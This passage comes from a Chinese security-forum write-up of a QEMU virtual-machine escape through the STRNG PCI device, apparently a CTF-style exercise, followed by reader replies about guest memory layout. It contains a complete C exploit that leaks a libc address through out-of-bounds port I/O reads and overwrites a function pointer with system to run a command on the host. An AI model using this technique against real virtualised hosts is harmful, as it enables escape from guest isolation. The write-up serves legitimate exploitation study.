(3)通过任意写改写 rand_r 函数的地址为system,然后执行 (opaque->rand_r)(&opaque->regs[2], 4LL, val); 弹计算器。

exp

对于pmio,我们使用<sys/io.h>中的outl,intl进行读写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static __inline unsigned int
inl (unsigned short int __port)
{
  unsigned int _v;
 
  __asm__ __volatile__ ("inl %w1,%0":"=a" (_v):"Nd" (__port));
  return _v;
}
 
static __inline void
outl (unsigned int __value, unsigned short int __port)
{
  __asm__ __volatile__ ("outl %0,%w1": :"a" (__value), "Nd" (__port));
}

而此时我们的addr就相当于读写的端口port。

1
0x000000000000c050 0x000000000000c057 0x0000000000040101    (PMIO)

如果需要打断点,我们直接 b strng_pmio_read 即可

1
2
pwndbg> print &(*(STRNGState*)$rdi).regs
$5 = (uint32_t (*)[64]) 0x559f77aad294
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
 
 
size_t pmio_base = 0x000000000000c050;
void * mmio_mem;
 
uint64_t mmio_read(uint32_t addr){
    return *( (uint32_t *)mmio_mem + addr );
}
 
void mmio_write(uint32_t addr,uint32_t val ){
    *((uint32_t *)mmio_mem + addr) = val;
}
 
void pmio_write(uint32_t addr,uint32_t val){
    outl(val,addr);
}
 
uint64_t pmio_read(uint32_t addr){
    return (uint32_t)inl(addr);
}
 
 
 
int main(){
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    int mmio_fd = open("/sys/devices/pci0000\:00/0000\:00\:03.0/resource0",O_RDWR | O_SYNC);
    if(mmio_fd==-1){  perror("mmio failed");exit(-1);  }
 
    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,mmio_fd,0);     //mmap mmio space
    if(mmio_mem == MAP_FAILED){ perror("map mmio failed");exit(-1);}
    printf("addr of mmio:%p\n",mmio_mem);
 
    mmio_write(2,0x6d6f6e67);   // regs[2]
    mmio_write(3,0x61632d65);  // regs[3]
    mmio_write(4,0x6c75636c);  // regs[4]
    mmio_write(5,0x726f7461);  // regs[5]
    //mmio_write(24,0x6b637566);
 
    if(iopl(3)!=0){perror("iopl failed");exit(-1);}
 
    uint64_t srand_addr;
    uint64_t tmp;
    uint64_t libc;
    uint64_t system;
    /* first time we read high 4 bytes */
    pmio_write(pmio_base+0,0x108);
    srand_addr = pmio_read(pmio_base+4);
    printf("[DEBUG] 0x%llx\n",srand_addr);
    srand_addr = ((srand_addr<<32)); 
    printf("[*]0x%llx\n",srand_addr);
    /*  Second time we read low 4 bytes */
    pmio_write(pmio_base+0,0x104);
    tmp = (pmio_read(pmio_base+4));
    printf("[*]0x%llx\n",tmp);
    srand_addr += tmp;
    printf("srand_addr:0x%llx\n",srand_addr);
    libc = srand_addr - 0x3a8e0;
    printf("[*]libc_addr:0x%llx\n",libc);
    system = libc+ 0x453a0;
    printf("[*]system:0x%llx\n",system);
 
 
    /* we just need to overwrite low 4 bytes */
    pmio_write(pmio_base+0,0x114);  //set addr
    pmio_write(pmio_base+4,(system & 0xffffffff));// overwrite rand_r
 
 
    /*  trigger system  */
    pmio_write(pmio_base+3,0);
    return 0;
}

最终效果

ref

VM escape - QEMU Case Study

 

Linux用户空间将虚拟地址转化为物理地址

 

浅谈内存映射I/O(MMIO)与端口映射I/O(PMIO)的区别

 

浅谈 Linux 内核开发之 PCI 设备驱动

 

QEMU学习笔记——QOM(Qemu Object Model)

 

QEMU中KVM的初始化调用路径

 

KVM Log 1-QEMU Object Module (QOM)

 

https://github.com/grandemk/qemu_devices/blob/master/hello_tic.c


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2021-1-22 00:19 被Roland_编辑 ,原因:
收藏
点赞10
打赏
分享
最新回复 (13)
雪    币: 48
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wx_tuancc 2021-1-22 06:13
2
0
666
雪    币: 12052
活跃值: (15379)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-1-22 08:40
3
0
感谢分享
雪    币: 7074
活跃值: (3463)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2021-1-23 16:34
4
0
牛逼, 感谢分享~~~~
雪    币: 3350
活跃值: (3372)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
fengyunabc 1 2021-1-23 16:56
5
0
感谢分享
雪    币: 213
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸟学IoT 2021-1-23 23:52
6
0
感谢分享,大牛就是666
雪    币: 350
活跃值: (220)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mllaopang 2021-1-24 10:12
7
0
感谢分享
雪    币: 8715
活跃值: (8610)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
r0Cat 7 2021-3-19 14:32
8
0
想请教个问题..."而 0x7fc0a7e00000 就是我们虚拟机的物理地址为0的位置。"这个地址是怎么算出来的?
雪    币: 3842
活跃值: (1830)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
音货得福 1 2021-4-9 11:08
9
0
r0Cat 想请教个问题..."而 0x7fc0a7e00000 就是我们虚拟机的物理地址为0的位置。"这个地址是怎么算出来的?
不是算的, 那个地址空间其实就是虚拟机的物理内存空间, 同时也是qemu进程的虚拟地址空间. 物理内存都是从0开始的, 所以, 在qemu进程中, 这个虚拟地址就代表虚拟机的物理地址
雪    币: 8715
活跃值: (8610)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
r0Cat 7 2021-4-9 12:28
10
0
音货得福 不是算的, 那个地址空间其实就是虚拟机的物理内存空间, 同时也是qemu进程的虚拟地址空间. 物理内存都是从0开始的, 所以, 在qemu进程中, 这个虚拟地址就代表虚拟机的物理地址
意思是他是个固定值,不像64位系统一样这个基址老变是吧了解了,多谢
雪    币: 3842
活跃值: (1830)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
音货得福 1 2021-4-14 15:08
11
1
r0Cat 意思是他是个固定值,不像64位系统一样这个基址老变是吧了解了,多谢
我想你可能不太明白虚拟机物理内存空间的地址和进程的虚拟空间地址? 你注意该地址对应的那张图片, 该地址空间为1G, 虚拟机给的物理内存也是1G, 所以它就是虚拟机的物理内存空间, 而虚拟机的物理内存空间其实就是qemu进程的某段虚拟内存空间. 如同图中那个地址起始. 如果下一次qemu启动, 进程空间地址随机化变了, 只要找到这个大小为1G的空间, 就可以确认是虚拟机的物理内存空间.
雪    币: 8715
活跃值: (8610)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
r0Cat 7 2021-4-14 16:12
12
0
音货得福 我想你可能不太明白虚拟机物理内存空间的地址和进程的虚拟空间地址? 你注意该地址对应的那张图片, 该地址空间为1G, 虚拟机给的物理内存也是1G, 所以它就是虚拟机的物理内存空间, 而虚拟机的物理内存空 ...
哦,我明白了 感谢大佬耐心讲解 
雪    币: 207
活跃值: (445)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
newf1rst 2021-5-21 13:22
13
0
r0Cat 想请教个问题..."而 0x7fc0a7e00000 就是我们虚拟机的物理地址为0的位置。"这个地址是怎么算出来的?
也可以通过在 gdb 中 search 那个字符串,Where am i,gdb 会找到一些存在这些字符串的地址,可以减去左侧的相对偏移,再根据空间大小也可以得出虚拟机的物理内存空间在qemu进程中所对应的起始地址。通过这两个关键信息就可以确认了。
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mimi3333 2021-7-3 09:47
14
0

 就是通过内存块大小来定位的吗?

 qemu进程的1G虚拟内存对应

 guest os的1G物理内存是吧?


游客
登录 | 注册 方可回帖
返回